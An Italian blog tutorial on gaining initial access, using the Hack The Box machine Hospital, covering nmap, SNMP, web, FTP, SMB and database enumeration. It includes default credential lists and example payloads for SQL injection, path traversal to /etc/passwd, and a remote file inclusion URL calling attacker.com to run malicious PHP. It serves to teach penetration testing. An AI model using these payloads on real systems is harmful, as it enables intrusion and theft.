Categories: ⚔️, Hacking23.3 min read

Initial Access

INITIAL ACCESS

 Dai primi virus informatici degli anni ’80, come il famigerato “Elk Cloner”, fino ai sofisticati attacchi ransomware del XXI secolo, il panorama delle minacce informatiche ha subito una trasformazione radicale.

NOTA:

“Elk Cloner è spesso citato come il primo virus informatico della storia, ma in realtà non detiene questo primato. Il primo malware mai scritto è stato Creeper, creato nel 1971 da Robert Thomas, un programmatore della BBN. Tuttavia, Creeper è classificato come il primo worm e non come virus. La principale principale tra worm e virus consiste nel metodo di diffusione: un worm si replica autonomamente e si diffonde attraverso una rete, via e-mail o via internet, mentre un virus si attacca ad un altro file o programma per diffondersi. Elk Cloner, ad esempio, si diffondeva agganciandosi al codice di boot di un floppy disk.”

L’Initial Access, ai suoi primordi, era spesso ottenuto tramite metodi relativamente semplici come virus diffusi con floppy disk. Tuttavia, con l’ascesa di Internet e l’aumento dell’interconnessione globale, le tecniche di Initial Access si sono evolute diventando sempre più sofisticate e difficili da rilevare. Oggigiorno, questo aspetto della sicurezza informatica include attacchi mirati, phishing avanzato e sfruttamento di vulnerabilità zero-day.

Parallelamente, il concetto di Foothold (letteralmente “punto d’appoggio”) ha subìto una simile evoluzione. Agli albori dell’informatica, un Foothold poteva essere semplicemente un malware persistente su un singolo computer. Ora, rappresenta l’ancoraggio di una presenza prolungata all’interno di reti complesse, spesso mascherata e strategicamente posizionata per facilitare attività di cyber crime.

Che cosa si intende per “Initial Access”?

Questo termine descrive la fase iniziale in cui un aggressore riesce per la prima volta ad entrare in una rete o in un sistema. L’accesso iniziale può essere ottenuto attraverso vari mezzi come phishing, sfruttamento di vulnerabilità software, attacchi di forza bruta sulle password o utilizzo di credenziali rubate. È opportuno sottolineare che l’Initial Access potrebbe essere ottenuto anche con tecniche di Red Team come: Physical Access, Vishing, Dumpster Diving, Wireless Attack (anche attraverso l’uso di droni), etc…

NOTA:

Physical Access: Si riferisce alla capacità di accedere fisicamente a un dispositivo o a un’infrastruttura. Questo può includere l’accesso a computer, server, o altri dispositivi hardware per eseguire attività come l’installazione di malware o il furto di dati.

Vishing: una forma di inganno telefonico, dove l’aggressore tenta di ingannare la vittima per ottenere informazioni sensibili, come password o dettagli bancari, spacciandosi per qualcuno di fidato.

Dumpster Diving: Questa pratica consiste nel cercare nei rifiuti (letteralmente “immergersi nei cassonetti”) per recuperare documenti, supporti di memoria o altri materiali che possono contenere informazioni sensibili o utili per ulteriori attacchi.

Wireless Attack: Attacchi condotti contro reti wireless. Possono includere attività come l’intercettazione di traffico wireless, il cracking di password Wi-Fi o la creazione di reti Wi-Fi false per ingannare le vittime.

Attacchi Wireless con Droni: L’uso di droni per eseguire attacchi wireless offre ai malintenzionati la capacità di posizionarsi vicino a reti o dispositivi target da una distanza sicura o da angolazioni altrimenti inaccessibili, facilitando attività come l’intercettazione di segnali o l’accesso alla rete WiFi.

L’obiettivo di questa fase è semplicemente quello di ottenere un punto di ingresso nel sistema o nella rete target.

Che cosa si intende per “Foothold”?

Una volta ottenuto l’accesso iniziale, l’aggressore cerca di stabilire un “avamposto” all’interno del sistema o della rete. Questa fase implica un consolidamento della propria presenza, assicurandosi un accesso che perduri nel tempo.

In questo articolo analizzeremo diverse tecniche e metodologie di ricognizione sul target, atte ad individuare un punto d’ingresso nel sistema per poi stabilire una posizione certa all’interno della macchina vittima. I temi si concentreranno sulle metodologie di attacco a sistemi remoti, escludendo la fase di OSINT e le informazioni che da essa potrebbero derivare (se volete approfondire questa fase vi rimando all’articolo https://thehackingquest.net/osintrecon/ ).

Divideremo l’analisi in varie fasi e gradualmente approfondiremo stringendo “il cerchio” attorno al target.

Ho elaborato il seguente diagramma di flusso affinché riassumesse le varie fasi e la metodologia di approccio sfruttata per individuare il nostro “accesso iniziale” sul target.

Per la nostra ricognizione utilizzeremo il celebre tool: nmap .

Come target sfrutteremo una macchina presente sulla celebre piattaforma Hack The Box: Hospital.

Le prime quattro fasi iniziali saranno:

  1. Ricognizione sulle porte aperte
  2. Identificazione dei servizi
  3. Nmap Script recon

Circostanziale:

  1. Nmap Vulnerability recon
  2. Ricognizione sulle porte aperte

OBIETTIVO: individuare tutte le porte aperte sul sistema target. L’associazione numero di porta – servizio è puramente una convenzione, nulla impedisce ad un Amministratore di cambiare la porta di accesso al SSH dalla 22 alla 61011 (anzi, in alcuni casi è raccomandato farlo).

NOTA

Cambiare le porte standard: la pratica di cambiare una data porta di default con un’altra non comune prende il nome di “security through obscurity” (sicurezza tramite oscurità). Questa pratica può aiutare a ridurre l’esposizione a scansione automatiche e attacchi casuali che mirano alle porte standard.

Nmap utilizza diverse tecniche per determinare se una porta sia aperta o chiusa. Una delle più comuni si basa sul protocollo TCP e sul suo processo di handshake a tre fasi. Brevemente:

  1. SYN: Nmap invia un pacchetto TCP con il flag SYN (synchronize) attivato, che è il primo passo nell’handshake TCP. È come un “saluto iniziale” per stabilire una connessione.
  2. SYN-ACK / RST: La risposta del server a questo pacchetto può rivelare lo stato della porta:
    • Se la porta è aperta, il server risponde con un pacchetto SYN-ACK (synchronize-acknowledge), indicando che è pronto ad accettare connessioni.
    • Se la porta è chiusa, il server invia un pacchetto con il flag RST (reset), che rifiuta la connessione.
  3. ACK: In una normale connessione TCP, dopo aver ricevuto il SYN-ACK, il client risponderebbe con un pacchetto ACK (acknowledge) per completare l’handshake e stabilire la connessione.

Il comando che utilizzeremo per effettuare la scansione sarà:

nmap [TARGET_IP] -p- -open --reason
  • nmap: esegue il tool
  • [TARGET_IP]: è l’indirizzo IP del target
  • -p-: l’opzione dice a nmap di scansionare tutte le porte TCP, da 1 a 65535. Di default, nmap scansiona solo le 1000 porte più comuni, quindi questa opzione ci assicura una scansione più completa
  • –open: questo flag dice a nmap di mostrare solo le porte che risultano aperte. Le porte chiuse o filtrate non verranno mostrate nei risultati della scansione
  • –reason: nmap includerà nell’output la “ragione” per cui una porta è stata segnalata in un certo modo (ad esempio, aperta o chiusa)

L’immagine mostra la scansione delle porte TCP sul target Hospital

Ovviamente, non solo è necessario scansionare tutte le porte TCP, ma anche quelle UDP.

nmap [TARGET_IP] -sU -p-
  • nmap: esegue il tool
  • [TARGET_IP]: indirizzo IP del target
  • -sU: specifica a nmap di eseguire una scansione UDP
  • -p-: Indica a nmap di scansionare tutte le porte possibili (da 1 a 65535). Senza questa opzione, nmap scansiona solo le porte UDP più comuni
  1. Identificazione dei servizi

OBIETTIVO: Identificare le versioni dei servizi in esecuzione sulle porte aperte del target.

Per eseguire questa scansione ci serviremo del parametro di nmap -sV .

L’opzione, -sV è più invasiva: nmap non si limita solo a scoprire quali porte sono aperte e chiuse, ma cerca anche di determinare quali applicazioni e servizi siano in esecuzione dietro quelle porte, e quali versioni di quei servizi risultino installate.

nmap [TARGET_IP] -p- --open -sV
  1. nmap: esegue il tool
  2. [TARGET_IP]: indirizzo IP del target
  3. -p-: scansione completa delle porte
  4. –open: visualizza solo le porte aperte
  5. -sV: è l’opzione che attiva la scansione di rilevamento versione di nmap. Nmap cercherà di determinare le versioni dei servizi in esecuzione sulle porte aperte, fornendo informazioni più dettagliate

L’immagine mostra la scansione delle porte TCP sul target Hospital con il dettaglio del comando -sV

Giunti a questo punto avremmo già elementi sufficienti per cominciare un’analisi più approfondita. Ma pazientiamo ancora un attimo e “stringiamo ancora di più il cerchio”.

  1. NMAP Script Recon

OBIETTIVO: reperire ulteriori informazioni sul target ed indentificare alcune vulnerabilità e misconfigurazioni comuni.

Per raggiungere il nostro obiettivo utilizzeremo due altre opzioni -sC e -vvv

  • sC: Esegue un set predefinito di script di nmap Scripting Engine (NSE) che sono considerati sicuri e utili per la raccolta di informazioni aggiuntive e l’identificazione di vulnerabilità comuni ed errori di configurazione.
  • vvv: aumenta il livello di verbosità della scansione, fornendo maggiori dettagli sull’esecuzione della scansione e sui risultati.
sudo nmap [TARGET IP] -p- --open -sV -sC -vvv
  • sudo: esegue il comando con i privilegi di superutente (root), il che è spesso necessario per permettere a nmap di accedere a tutte le funzionalità di rete richieste per la scansione
  • nmap: avvia il tool
  • [TARGET IP]: indirizzo IP del target
  • -p-: Indica a nmap di scansionare tutte le porte TCP, dalla 1 alla 65535
  • –open: mostra solo le porte aperte
  • -sV: Attiva la scansione di rilevamento versione
  • -sC: Esegue un set predefinito di script.
    Gli script NSE sono utilizzati per eseguire una varietà di attività di rilevamento e di esplorazione della rete, come identificare vulnerabilità note, raccogliere informazioni dettagliate sui servizi in esecuzione etc…
  • -vvv: nmap fornirà molte più informazioni di dettaglio sui suoi processi e sui risultati rispetto a una scansione standard.

L’immagine mostra una parte della scansione TCP sul target Hospital con il dettaglio del comando -sC e -vvv

  1. NMAP Vulnerability Recon

Data l’invasività di questa opzione, il suo utilizzo dipende fortemente dalle circostanze in cui ci troviamo.

OBIETTIVO: individuare vulnerabilità note sui servizi esposti (come versioni obsolete di software, configurazioni errate o altri problemi di sicurezza che potrebbero essere sfruttati da un attaccante).

L’opzione –script=vuln in nmap è usata per eseguire una serie di script che sono specificamente progettati per identificare vulnerabilità note nei sistemi analizzati.

sudo nmap [TARGET IP] -p- --open -sV -vvv --script=vuln
  • sudo: esegue il comando con i privilegi di superutente (root)
  • nmap: avvia il tool
  • [TARGET IP]: indirizzo IP del target
  • -p-: Indica a nmap di scansionare tutte le porte TCP, dalla 1 alla 65535
  • –open: mostra solo le porte aperte
  • -sV: Attiva la scansione di rilevamento versione
  • -vvv: nmap fornirà molte più informazioni di dettaglio sui suoi processi e sui risultati rispetto a una scansione standard
  • –script=vuln: Dice a nmap di eseguire gli script NSE (Nmap Scripting Engine) che sono specificamente progettati per identificare vulnerabilità conosciute nei servizi e nei sistemi analizzati.

L’immagine mostra una parte della scansione TCP sul target Hospital con il dettaglio del comando –script=vuln

Adesso che abbiamo raccolto sufficienti informazioni sul target possiamo addentrarci nei vari servizi e protocolli alla ricerca dell’Initial Access.

User Datagram Protocol (UDP)

Il protocollo UDP è noto per la sua velocità nella trasmissione dei dati. Tuttavia, la sua natura “senza connessione” (connection-less) lo rende vulnerabile a specifici tipi di attacchi. Senza il processo di handshake tipico del TCP; il protocollo UDP è vulnerabile ad attacchi di reflection e amplification, come quelli che sfruttano i servizi DNS e NTP. La mancanza di verifica della connessione lo rende un bersaglio ideale per attacchi di tipo DDoS.

Ma non solo. Ad esempio, il protocollo SNMP in ascolto sulla porta 161 è vulnerabile ad una serie di attacchi. Potremmo cominciare interrogando il protocollo per enumerazione di base:

snmpwalk -Oa -c public -v1  [INDIRIZZO IP] > SNMP_161_Mapping
  • snmpwalk: snmpwalk esegue automaticamente una serie di richieste SNMP per recuperare un albero di informazioni su un dato dispositivo di rete.
  • -Oa: Questa opzione cambia il formato dell’output per renderlo più leggibile, allineando i valori degli OID (Object Identifiers).
  • -c public: Specifica la community string per l’interrogazione SNMP. In questo caso, viene utilizzata la stringa “public”, che è spesso il valore predefinito per la lettura su dispositivi SNMP. Le community string fungono da semplici password per controllare l’accesso alle informazioni SNMP di un dispositivo.
  • -v1: Indica la versione di SNMP da utilizzare, che in questo caso è la versione 1. SNMPv1 è la versione originale del protocollo.
  • [INDIRIZZO IP]: Questo è l’indirizzo IP del dispositivo di rete che si desidera interrogare.
  • > SNMP_161_Mapping: Reindirizza l’output del comando snmpwalk in un file chiamato SNMP_161_Mapping. Questo file conterrà tutte le informazioni recuperate dal dispositivo.

Potremmo ottenere ulteriori informazioni, attraverso il comando:

snmpwalk -v 1 -c public [INDIRIZZO IP] NET-SNMP-EXTEND-MIB::nsExtendOutputFull

NET-SNMP-EXTEND-MIB::nsExtendOutputFull: Questo specifica l’OID (Object Identifier) che desideri interrogare. In questo caso, si tratta di un OID associato a NET-SNMP-EXTEND-MIB, che è utilizzato per estendere le funzionalità di SNMP. E’ utile per ottenere informazioni dettagliate da un dispositivo configurato con Net-SNMP, specialmente quando sono stati configurati script o comandi personalizzati.

Questi comandi potrebbero offrirci informazioni vitali sul target, come: servizi, processi in esecuzione, porte TCP aperte, software installati, nomi utente, etc…

Dato che il protocollo viene utilizzato per impartire comandi base a dispositivi di rete, l’attaccante potrebbe utilizzarlo (in determinate circostanze, come versioni del protocollo obsolete) per cambiare determinati parametri all’interno del device target.

Se volete approfondire il tema SNMP vi rimando all CTF Necromancer Parte 3: https://thehackingquest.net/ctf-necromancer-parte-iii/

Hypertext Transfer Protocol (HTTP)

Il protocollo http potrebbe esporre il nostro target a molteplici vulnerabilità, non ultima l’Information Disclosure. Vediamo quindi come procedere per identificare un potenziale punto di accesso sfruttando questo protocollo.

  1. Servizio HTTP

La prima verifica è controllare se nmap abbia evidenziato una versione vulnerabile del servizio. Ad esempio, un Apache datato che consente l’esecuzione di un Exploit.

Possiamo verificare se è disponibile un Exploit, ad esempio, visitando il sito:

  • https://www.exploit-db.com/

Oppure eseguendo il comando:

  • searchsploit [nome del servizio e/o versione]

Il comando searchsploit è uno strumento che fa parte del progetto Exploit Database. Questo strumento è utilizzato per cercare exploit e vulnerabilità note in un database esteso. Searchsploit cerca nel suo database per trovare elementi che corrispondano ai criteri di ricerca forniti.

L’immagine mostra la ricerca di un Exploit per Apache 2.4.[X]

  1. Certificati SSL/TLS

Durante una scansione con nmap, è possibile scoprire certificati SSL/TLS, inclusi quelli auto-firmati. Questi certificati possono rivelare informazioni cruciali, come i nomi DNS e di dominio associati all’organizzazione del sistema target. Dopo aver identificato questi nomi, un attaccante potrebbe modificare il file /etc/hosts (sul proprio computer locale), aggiungendo un’associazione tra il nome DNS e l’indirizzo IP del sistema target, allo scopo di risolvere un dato nome DNS e raggiungere quindi il dominio specificato.

Per analizzare il certificato potrebbe essere utilizzato il seguente comando:

openssl x509 -in cert -text -noout
  • openssl: comando base per avviare OpenSSL, un toolkit multifunzione per la crittografia
  • x509: specifica che si sta lavorando con un certificato x509, che è un formato standard per i certificati pubblici usati in SSL e TLS
  • -in cert: L’opzione -in specifica il file di input. In questo caso, “cert” è il file che contiene il certificato da analizzare
  • -text: visualizza il certificato in formato leggibile (testo), che include tutte le informazioni dettagliate del certificato come l’entità che lo ha emesso, il soggetto, la validità, le chiavi pubbliche, gli algoritmi di firma, etc…
  • -noout: previene la stampa dell’encoding PEM del certificato. Significa che il comando mostrerà solo le informazioni testuali del certificato, senza ristampare il blocco di codice del certificato stesso.

L’immagine mostra la visualizzazione del certificato in formato testo

 

  1. Ispezione delle Pagine http

Premendo F12 in un browser moderno come Chrome, Firefox o Edge, si aprono gli strumenti di sviluppo. Questi strumenti forniscono una serie di funzionalità che consentono agli utenti di esaminare il codice HTML, CSS e JavaScript di una pagina web, nonché di monitorare le richieste di rete, modificare elementi in tempo reale, visualizzare errori di console e molto altro.

Un attaccante potrebbe ispezionare il codice dei sito internet, ad esempio allo scopo di trovare informazioni preziose come: commenti, riferimenti ad altre pagine, nomi DNS, endpoint API, parametri nascosti, cookie di sessione, etc…

  1. Tecnologie in uso

Utilizzando tool come whatweb oppure wappalyzer possiamo analizzare ed identificare la tecnologia dietro un determinato sito web. Allo stesso modo in cui abbiamo ricercato vulnerabilità per il servizio, possiamo ricercarne per le tecnologie sottostanti.

whatweb http://[TARGET_IP:PORTA]/

WhatWeb: WhatWeb è uno strumento di riconoscimento che analizza siti web per identificare le tecnologie sottostanti, come piattaforme CMS (Content Management System), script di blogging, sistemi di tracciamento statistico, librerie JavaScript e molto altro.

Oppure https://www.wappalyzer.com/

L’immagine mostra l’enumerazione delle tecnologie impiegate

 

  1. Directory BruteForcing

La tecnica di “directory bruteforcing” è un metodo utilizzato per individuare directory o percorsi nascosti in un’applicazione web.

Il bruteforcing di directory si basa sull’invio sistematico di richieste a un server web utilizzando un elenco di potenziali directory. L’obiettivo è scoprire risorse nascoste o non documentate che potrebbero contenere informazioni sensibili o essere sfruttate per ulteriori attacchi.

Questa tecnica si avvale spesso di una “wordlist“, ovvero un elenco di nomi comuni di file e directory. Gli attaccanti utilizzano queste liste per automatizzare le richieste al server, provando ogni termine nell’elenco combinato con l’URL di base del sito web.

Ci sono molteplici tool impiegati per eseguire un attacco di bruteforce alle directory di un sito web. Un classico è gobuster:

gobuster dir --url [URL] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  • gobuster dir: avvia Gobuster in modalità “directory”, che è usata per trovare directory e nascoste in un dato web
  • –url [URL]: Specifica l’URL del sito web da scansionare
  • -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt: Indica a Gobuster quale wordlist usare per la scansione. La wordlist directory-list-2.3-medium.txt contiene un elenco di nomi di directory potenzialmente comuni e viene utilizzata per testare la presenza di queste directory sul sito web specificato.

L’immagine mostra l’enumerazione delle directory sul sito internet che ospita la macchina

 

  1. File BruteForcing

Allo stesso modo, seguendo lo stesso principio con cui vengono enumerate le directory, l’attaccante enumererà anche possibili file presenti nel dato sito web.

gobuster dir -u [URL] -w /usr/share/wordlists/dirb/common.txt -x txt,pdf,confi
  • gobuster dir: avvia Gobuster in modalità “directory”, che è usata per trovare directory e nascoste in un dato web
  • -u [URL]: Specifica l’URL del sito web da scansionare
  • -w /usr/share/wordlists/dirb/common.txt: Indica a Gobuster di usare la wordlist specificata per la scansione. In questo caso, stiamo utilizzando la wordlist txt, che è una lista di nomi comuni di file e directory
  • -x txt,pdf,config: l’opzione estende la scansione per includere file con specifiche estensioni. Nel nostro caso stiamo cercando file con estensioni .php,.pdf,.config

L’immagine mostra l’enumerazione dei file sul sito internet che ospita la macchina

 

  1. Sottodirectory

Ammettiamo che una data directory (scovata durante il bruteforcing) riporti l’errore 403 Forbidden. Se l’attaccante dovesse giudicare la situazione valevole di ulteriori analisi, potrebbe eseguire un ulteriore Directory Bruteforcing anche su tutti i sotto-path.

Ad esempio, se il sito web avesse una directory /api , l’attaccante avanzerà enumerando anche quello specifico sotto-path (llo stesso modo visto nei punti 3 e 4).

  1. Virtual Host Bruteforcing

Questa tecnica permette di scoprire “Virtual Hosts” (o “vhosts”) su un server web. È particolarmente rilevante quando un server ospita più domini o sottodomini su un singolo indirizzo IP, una pratica comune nel web hosting moderno.

gobuster vhost -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://[URL]
  • gobuster vhost: avvia Gobuster nella modalità vhost, che è specializzata nel cercare diversi host virtuali (vhost) o sottodomini su un server web
  • -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt: specifica una wordlist contenente nomi di domini
  • -u http://[URL]: specifichiamo l’URL del sito web target
  1. Pagine di Login

Se non abbiamo una lista di username e password attendibili, tentare un BruteForce potrebbe essere una perdita di tempo. Inoltre, rileverebbe in modo palese la nostra presenza.

Ma potremmo tentare, un password guessing utilizzando una combinazione di credenziali di default:

  • root :: root
  • admin :: admin
  • admin :: password
  • root :: password
  • administrator :: password
  • webadmin :: root

Inoltre, potremmo consultare il sito del dato produttore alla ricerca di credenziali di default.

  1. Web Application Attack

Se a questo punto non abbiamo ancora trovato una possibilità di accesso, potremmo testare la Web Application utilizzando diversi attacchi. Vediamo assieme i più popolari:

  1. SQL Injection
    • Descrizione: Questo attacco sfrutta vulnerabilità nelle applicazioni web che utilizzano input dell’utente nelle query SQL. Gli aggressori inseriscono o “iniettano” codice SQL dannoso in questi input per manipolare il database sottostante, ottenendo accesso non autorizzato o manipolando dati.
    • Esempio: Un esempio classico è l’inserimento di ‘ OR ‘1’=’1 in un campo di input di un form di login, che può modificare la query SQL sottostante per autenticare l’utente senza una password valida.
  1. Directory Traversal
    • Descrizione: Questo attacco mira a ottenere l’accesso ai file e alle directory memorizzati sul server web che sono al di fuori della root directory del sito web. Gli aggressori manipolano gli URL per navigare (attraversare) il file system del server.
    • Esempio: Utilizzare un URL come http://example.com/../../etc/passwd per tentare di accedere al file passwd del sistema, che contiene informazioni sugli utenti.
  2. Local File Inclusion (LFI)
    • Descrizione: LFI si verifica quando un’applicazione web permette all’utente di includere file locali attraverso input non sanificati. Gli aggressori possono così eseguire script o leggere file sensibili sul server.
    • Esempio: Un URL come http://example.com/index.php?page=../../../../etc/passwd che cerca di includere e visualizzare il contenuto del file passwd.
  3. Remote File Inclusion (RFI)
    • Descrizione: Simile a LFI, ma in questo caso l’attaccante induce il server a includere ed eseguire un file ospitato su un server remoto. Questo può portare all’esecuzione di codice arbitrario.
    • Esempio: Utilizzare un URL come http://example.com/index.php?page=http://attacker.com/malicious.php per far eseguire dal server un file PHP dannoso ospitato su un server esterno.
  4. File Upload Vulnerability
    • Descrizione: Questa vulnerabilità si verifica quando un’applicazione web permette il caricamento di file senza adeguati controlli di sicurezza, lasciando la possibilità agli aggressori di caricare script dannosi o altri file malevoli.
    • Esempio: Caricare un file PHP mascherato da immagine su un sito che permette il caricamento di immagini, ma non verifica correttamente l’estensione o il tipo MIME del file.
  5. Server Side Template Injection
    • Descrizione: Questo attacco si verifica quando un aggressore inserisce modelli o comandi dannosi in un template lato server, che vengono poi eseguiti dal motore di templating. Questo può portare all’esecuzione di codice arbitrario o alla divulgazione di informazioni sensibili.
    • Esempio: Inserire un input come {{7*’7′}} in un’applicazione web che utilizza un motore di templating, che potrebbe essere interpretato ed eseguito, restituendo il risultato dell’operazione matematica: 49.

 

File Transfer Protocol (FTP)

Siamo sempre nello scenario in cui non abbiamo credenziali valide e dobbiamo cercare un Initial Access. Abbiamo quindi due possibilità:

  1. Verificare se la versione dell’FTP sia vulnerabile e quindi se esiste un Exploit utilizzabile, come abbiamo visto in precedenza.
  2. Provare un accesso anonimo al server FTP.

Per farlo effettuiamo la connessione al server ftp, utilizzando il comando:

ftp [IP] -P 21 -v
  • ftp: avvia il client FTP
  • [IP]: IP della macchina a cui desideriamo connetterci
  • -P 21: L’opzione -P specifica la porta su cui connettersi. Il numero 21 è la porta standard per le connessioni FTP non crittografate
  • -v: Questa opzione abilita la modalità verbosa

Appena ci viene chiesto il nome utente, digitiamo “anonymous” e successivamente, lasciamo vuoto il campo password dando INVIO [ENTER].

Server Message Block (SMB)

Anche per il protocollo SMB abbiamo le medesime possibilità (una non esclude l’altra):

  • Verificare se la versione dell’SMB è vulnerabile e se quindi esiste un Exploit utilizzabile
  • Provare a listare le share disponibili senza fornire una password al server SMB

Proviamo quindi ad enumerare le share con il comando:

smbclient -L //[IP]

Successivamente proviamo a connetterci ad una share in maniera anonima:

smbclient //[IP]/[NOME_DELLA_SHARE] -N

Il parametro -N utilizzato con il comando smbclient serve per indicare che non verrà richiesta una password. Questo parametro è comunemente usato quando si vuole accedere a condivisioni SMB che permettono l’accesso anonimo o quando si esegue uno script che deve accedere a SMB senza l’interazione dell’utente.

Se la porta 445 è chiusa ma la porta 139 è aperta, potremmo comunque utilizzare rpcclient per connetterci a un server SMB. La porta 139 supporta SMB su NetBIOS over TCP/IP, che è un metodo più vecchio, ma ancora supportato per la comunicazione SMB.

Per connetterci ad una macchina di dominio in maniera anonima potremmo utilizzare la seguente sintassi:

rpcclient -U "" -N [indirizzo_server]
  • -U “”: specifica un nome utente NULL, che indica che stiamo tentando di connetterci in maniera anonima
  • -N: l’opzione dice a rpcclient di non chiedere una password
  • [indirizzo_server] è l’indirizzo IP o il nome del server a cui vogliamo connetterci
NOTA

Se con il comando visto in precedenza non riusciamo a listare le share in maniera anonima, tramite smbclient, vale comunque la pena fare un tentativo attraverso rpcclient.

Secure Shell (SSH) e Remote Desktop Protocol (RDP)

Da attaccanti, per questi due protocolli, si aprono i medesimi scenari (l’uno non esclude l’altro). Si premette che non è consigliabile un bruteforce se non si conosce perlomeno il nome utente. I modi in cui procedere prevederebbero:

  • Anche per i protocolli SSH e RDP la verifica di eventuali vulnerabilità e quindi un Exploit utilizzabile, come visto in precedenza
  • Povare delle combinazioni di credenziali di default

Per lanciare un attacco di bruteforce potremmo utilizzare il tool hydra. Se siete interessati ad approfondire le possibilità di attacco al protocollo RDP, vi rimando all’articolo: https://thehackingquest.net/rdp-attack/

Altri Servizi

Durante la nostra ricognizione potremmo imbatterci in altri molteplici servizi in ascolto. Procediamo come segue:

  1. Identificare il servizio provando a connetterci ad esso
  2. Analizzare le Fingerprint, se presenti
  3. Effettuare una ricerca sul numero di porta e possibili servizi associati
  4. Provare ad identificare un Exploit valido
  5. Tentare un accesso al servizio con credenziali di default

Ad esempio, se la porta fosse quella di un DATABASE (nel nostro esempio MariaDB MySQL) potremmo provare a connetterci come root:

mysql -h [IP] -P [PORTA] -u root
  • mysql: avviare il client MySQL da linea di comando
  • -h [IP]: l’opzione -h seguita da un indirizzo IP o un nome host specifica l’host del server MySQL a cui connettersi
  • -P [PORTA]: l’opzione -P (da notare che è maiuscola) specifica la porta TCP su cui il server MySQL è in ascolto
  • -u root: l’opzione -u seguita da un nome utente indica quale utente MySQL utilizzare per la connessione. In questo caso, stiamo tentando di connetterci come root, che solitamente è l’utente amministratore in MySQL.

Facciamo un ulteriore esempio:

Un’azienda potrebbe utilizzare rsync per effettuare backup regolari di documenti importanti e file di lavoro da computer di ufficio a un server centralizzato di backup. L’attaccante potrebbe tentare di stabilire una connessione con il server rsync ad una data porta. Se la connessione viene stabilita con successo, può sincronizzare file e cartelle tra la macchina attaccante e il server rsync.

rsync rsync://indirizzo_server:873
  • rsync: un programma di utilità molto versatile e potente utilizzato per sincronizzare file e directory da una posizione all’altra
  • rsync://indirizzo_server:873: Questa parte del comando specifica il protocollo e l’indirizzo del server rsync remoto a cui connettersi, seguito dalla porta su cui il server rsync è in ascolto.
    • rsync:// indica che si sta utilizzando il protocollo rsync
    • indirizzo_server è l’indirizzo IP o il nome di dominio del server rsync remoto
    • 873 è la porta predefinita su cui il servizio rsync ascolta

Sicurezza Informatica un processo in continuo mutamento

Come analizzato in questo articolo, la varietà di metodi attraverso cui un attaccante può stabilire un Foothold in un sistema informatico, sottolinea l’importanza di un approccio multistrato alla sicurezza. Ogni punto di accesso, dalla più piccola vulnerabilità software alla più complessa configurazione di rete, può diventare un varco per gli aggressori. La sfida, per i professionisti della sicurezza consiste proprio nell’anticipare e mitigare questi rischi, adattandosi costantemente alle nuove tecniche e strategie degli attaccanti. Questa realtà ci ricorda che la sicurezza è un processo costante e continuo di valutazione, aggiornamento e adattamento, non un software o un obiettivo che posiamo raggiungere in maniera definitiva.

La sicurezza informatica, in questo senso, diventa una partita a scacchi in continuo mutamento, dove ogni mossa deve essere calcolata per proteggere i dati e le risorse più preziose.

Go to Top